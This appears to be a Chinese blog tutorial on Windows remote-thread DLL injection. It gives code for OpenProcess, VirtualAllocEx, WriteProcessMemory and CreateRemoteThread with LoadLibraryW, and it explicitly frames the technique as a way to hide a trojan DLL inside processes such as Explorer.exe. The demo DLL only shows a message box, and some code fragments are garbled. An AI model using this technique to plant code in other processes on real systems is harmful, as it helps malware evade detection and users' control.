远程线程技术

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马。

创建方法
首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)

hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
                                                                                                                            PROCESS_VM_OPERATION | //允许远程VM操作
                                                                                                        PROCESS_VM_WRITE,//允许远程VM写
                                                                                                        FALSE, dwRemoteProcessId )

由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限EATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在rnel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)

//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,  MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

//计算LoadLibraryW的入口地址,问题:为什么要使用LoadLibraryW, 使用我自己写得函数不行吗?
//答案是不行,因为这个函数要在远程进程运行,必须是远程进程的函数才行, 上面给路径在远程进程内存地址空间分配内存也是这个道理, LoadLibraryW、LoadLibraryA这些函数所有进程都认识, 又有一个问题,为什么要用这两个函数?答案是, 因为这两个函数可以加载我们的代码, 远程线程的目的就是让别人执行我的代码,如果你用CreateFile或者其他的函数只能完成此函数既定的功能, 没有实际意义

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:

//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,pfnStartAddr, pszLibFileRemote, 0, NULL);

至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:

BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{
    char szProcessId[64] ; 
    switch ( reason )
    {
        case DLL_PROCESS_ATTACH:
        {
            //获取当前进程ID
            _itoa ( GetCurrentProcessId(), szProcessId, 10 );
            MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
        }
        default: return TRUE;
}

当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到
Process ID: 1208
C:\WINNT\Explorer.exe (0x00400000) …… C:\TestDLL.dll (0x100000000) ……
这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。
危害
无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒).

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值